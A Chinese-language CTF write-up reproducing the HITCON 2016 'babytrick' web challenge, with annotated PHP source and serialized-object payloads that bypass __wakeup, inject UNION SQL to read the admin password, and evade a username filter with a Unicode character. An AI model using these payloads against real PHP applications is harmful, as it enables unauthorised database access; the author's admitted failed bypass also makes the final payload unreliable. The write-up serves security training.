前言
不想復現的可以訪問榆林學院信息安全協會CTF訓練平台找到此題直接練手
HITCON 2016 WEB -babytrick(復現)
原題
index.php
1 <?php
2
3 include "config.php"; 4 5 class HITCON{ 6 private $method; 7 private $args; 8 private $conn; 9 10 public function __construct($method, $args) { 11 $this->method = $method; 12 $this->args = $args; 13 14 $this->__conn(); 15 } 16 17 function show() { 18 list($username) = func_get_args(); 19 $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username); 20 21 $obj = $this->__query($sql); 22 if ( $obj != false ) { 23 $this->__die( sprintf("%s is %s", $obj->username, $obj->role) ); 24 } else { 25 $this->__die("Nobody Nobody But You!"); 26 } 27 28 } 29 30 function login() { 31 global $FLAG; 32 33 list($username, $password) = func_get_args(); 34 $username = strtolower(trim(mysql_escape_string($username))); 35 $password = strtolower(trim(mysql_escape_string($password))); 36 37 $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password); 38 39 if ( $username == 'orange' || stripos($sql, 'orange') != false ) { 40 $this->__die("Orange is so shy. He do not want to see you."); 41 } 42 43 $obj = $this->__query($sql); 44 if ( $obj != false && $obj->role == 'admin' ) { 45 $this->__die("Hi, Orange! Here is your flag: " . $FLAG); 46 } else { 47 $this->__die("Admin only!"); 48 } 49 } 50 51 function source() { 52 highlight_file(__FILE__); 53 } 54 55 function __conn() { 56 global $db_host, $db_name, $db_user, $db_pass, $DEBUG; 57 58 if (!$this->conn) 59 $this->conn = mysql_connect($db_host, $db_user, $db_pass); 60 mysql_select_db($db_name, $this->conn); 61 62 if ($DEBUG) { 63 $sql = "CREATE TABLE IF NOT EXISTS users ( 64 username VARCHAR(64), 65 password VARCHAR(64), 66 role VARCHAR(64) 67 ) CHARACTER SET utf8"; 68 $this->__query($sql, $back=false); 69 70 $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')"; 71 $this->__query($sql, $back=false); 72 } 73 74 mysql_query("SET names utf8"); 75 mysql_query("SET sql_mode = 'strict_all_tables'"); 76 } 77 78 function __query($sql, $back=true) { 79 $result = @mysql_query($sql); 80 if ($back) { 81 return @mysql_fetch_object($result); 82 } 83 } 84 85 function __die($msg) { 86 $this->__close(); 87 88 header("Content-Type: application/json"); 89 die( json_encode( array("msg"=> $msg) ) ); 90 } 91 92 function __close() { 93 mysql_close($this->conn); 94 } 95 96 function __destruct() { 97 $this->__conn(); 98 99 if (in_array($this->method, array("show", "login", "source"))) { 100 @call_user_func_array(array($this, $this->method), $this->args); 101 } else { 102 $this->__die("What do you do?"); 103 } 104 105 $this->__close(); 106 } 107 108 function __wakeup() { 109 foreach($this->args as $k => $v) { 110 $this->args[$k] = strtolower(trim(mysql_escape_string($v))); 111 } 112 } 113 } 114 115 if(isset($_GET["data"])) { 116 @unserialize($_GET["data"]); 117 } else { 118 new HITCON("source", array()); 119 }
config.php
<?php
$db_host = 'localhost'; $db_name = 'babytrick'; $db_user = 'babytrick'; $db_pass = 'babytrick1234'; $DEBUG = @$_GET['noggnogg']; $FLAG = "HITCON{php 4nd mysq1 are s0 mag1c, isn't it?}"; ?>
審計代碼邏輯
這個里的代碼將傳進來的值賦給本地的私有變量(private)中
//當對象創建時會自動調用(但在unserialize()時是不會自動調用的)。
public function __construct($method, $args) { echo "__construct執行<br>"; $this->method = $method; //將傳進來的$method 賦值給本地的method $this->args = $args; $this->__conn(); }
當執行它
func_tet_args() //獲取一個函數所有的參數
list() 函數用數組中的元素為一組變量賦值。
sprintf()把百分號(%)符號替換成一個作為參數進行傳遞的變量:
第四行代碼 調用__query函數進行數據查詢
第五行判斷$obj里面是否有值 如果有則 執行第六行代碼
第六行代碼的意思是利用springtf()方法輸出執行的username role的結果
1 function show() { 2 list($username) = func_get_args(); 3 $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username); 4 $obj = $this->__query($sql); 5 if ( $obj != false ) { 6 $this->__die( sprintf("%s is %s", $obj->username, $obj->role) ); 7 } else { 8 $this->__die("Nobody Nobody But You!"); 9 } 10 }
//stripos() 函數查找字符串在另一字符串中第一次出現的位置(不區分大小寫)
1 function login() { 2 global $FLAG; //定義全局變量 3 list($username, $password) = func_get_args(); //獲取函數的參數的值賦值給$username,$password 4 $username = strtolower(trim(mysql_escape_string($username))); //過濾$username mysql_escape_string()轉義字符函數 5 $password = strtolower(trim(mysql_escape_string($password))); //過濾$password 6 7 $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password); //進行查詢 8 9 10 if ( $username == 'orange' || stripos($sql, 'orange') != false ) { //特殊字符Ã繞過; 11 $this->__die("Orange is so shy. He do not want to see you."); 12 } 13 14 15 $obj = $this->__query($sql); //將查詢結果賦值給$obj 16 17 if ( $obj != false && $obj->role == 'admin' ) { //如果$obj里面有值並且查詢結果里面的role等於admin則執行if里面的語句否則執行else里面的 18 $this->__die("Hi, Orange! Here is your flag: " . $FLAG);//flag在這里!!!!! 19 } else { 20 $this->__die("Admin only!"); 21 } 22 }
function source() { highlight_file(__FILE__); }
function __conn() {global $db_host, $db_name, $db_user, $db_pass, $DEBUG; if (!$this->conn) $this->conn = mysql_connect($db_host, $db_user, $db_pass); mysql_select_db($db_name, $this->conn); if ($DEBUG) { print"====="; $sql = "CREATE TABLE IF NOT EXISTS users ( username VARCHAR(64), password VARCHAR(64), role VARCHAR(64) ) CHARACTER SET utf8"; $this->__query($sql, $back=false); $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')"; $this->__query($sql, $back=false); } mysql_query("SET names utf8"); //使用utf8編碼方式 mysql_query("SET sql_mode = 'strict_all_tables'"); }
function __query($sql, $back=true) {$result = @mysql_query($sql); if ($back) { return @mysql_fetch_object($result); } }
function __die($msg) { echo "函數die()執行<br>"; $this->__close(); header("Content-Type: application/json"); die( json_encode( array("msg"=> $msg) ) ); }
關閉數據庫函數
function __close() { echo "函數close()執行<br>"; mysql_close($this->conn); }
__destruct():當對象被銷毀時會自動調用。
call_user_func_array : 調用回調函數,並把一個數組參數作為回調函數的參數。
function __destruct() { echo "__destruct執行<br>"; $this->__conn(); //將數據寫入數據庫; if (in_array($this->method, array("show", "login", "source"))) { //檢查當前method看看和array里面有沒有匹配的如果有則執行if里面的語句 @call_user_func_array(array($this, $this->method), $this->args);//調用$this->method里面的方法,把$this->args里面的額參數當成$this->method里面的參數使用 } else { $this->__die("What do you do?"); } $this->__close(); }//否則....
unserialize()時會自動調用
mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。
function __wakeup() {foreach($this->args as $k => $v) { $this->args[$k] = strtolower(trim(mysql_escape_string($v))); //過濾所有的參數(轉義所有的SQL字符、去除所有的空格 小寫轉換) } }
if(isset($_GET["data"])) { //偵測有無data的get獲取; @unserialize($_GET["data"]); //跳過 __wakeup()函數;調用析構函數 } else { new HITCON("source", array()); }
通過分析得知我們首先要獲取到賬戶和密碼才能進行下一步的登陸獲得flag
構造的序列化代碼
$_method="show"; $_args=array("bla' union select password,username,role from users where username='orange' -- "); $Instantiation=new HITCON("show",$_args); echo serialize($Instantiation)."</br>";
序列化得出結果
//O:6:"HITCON":3:{s:14:"HITCONmethod";s:4:"show";s:12:"HITCONargs";a:1:{i:0;s:79:"bla' union select password,username,role from users where username='orange' -- ";}s:12:"HITCONconn";i:0;} 因為里面有私有變量所以給私有變量加上%00格式 //O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla' union select password,username,role from users where username='orange' -- ";}s:12:"%00HITCON%00conn";i:0;} //將屬性值3變成4繞過_wakeup函數 //O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla' union select password,username,role from users where username='orange' -- ";}s:12:"%00HITCON%00conn";i:0;}
payload:
http://127.0.0.1/test/index.php?data=O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla' union select password,username,role from users where username='orange' -- ";}s:12:"%00HITCON%00conn";i:0;}
構造序列化的代碼2
$_method="login"; $_args=array("or?nge","admin"); $Instantiation=new HITCON($_method,$_args); echo serialize($Instantiation)."</br>"; $Instantiation=null;
//序列化后 O:6:"HITCON":4:{s:14:"HITCONmethod";s:5:"login";s:12:"HITCONargs";a:2:{i:0;s:6:"orange";i:1;s:5:"admin";}s:12:"%00HITCON%00conn";i:0;} //給私有變量添加%00格式 O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:5:"admin";}s:12:"%00HITCON%00conn";i:0;} //替換orange里面的a為Ã 繞過下方注釋的的代碼
O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orÃnge";i:1;s:5:"admin";}s:12:"%00HITCON%00conn";i:0;}
遇到的問題 1.繞不過去 還有就是數據庫表有問題 腦子很混亂先寫這些 下來再研究 先去看會電影。。。。
前言
111
前言
111
前言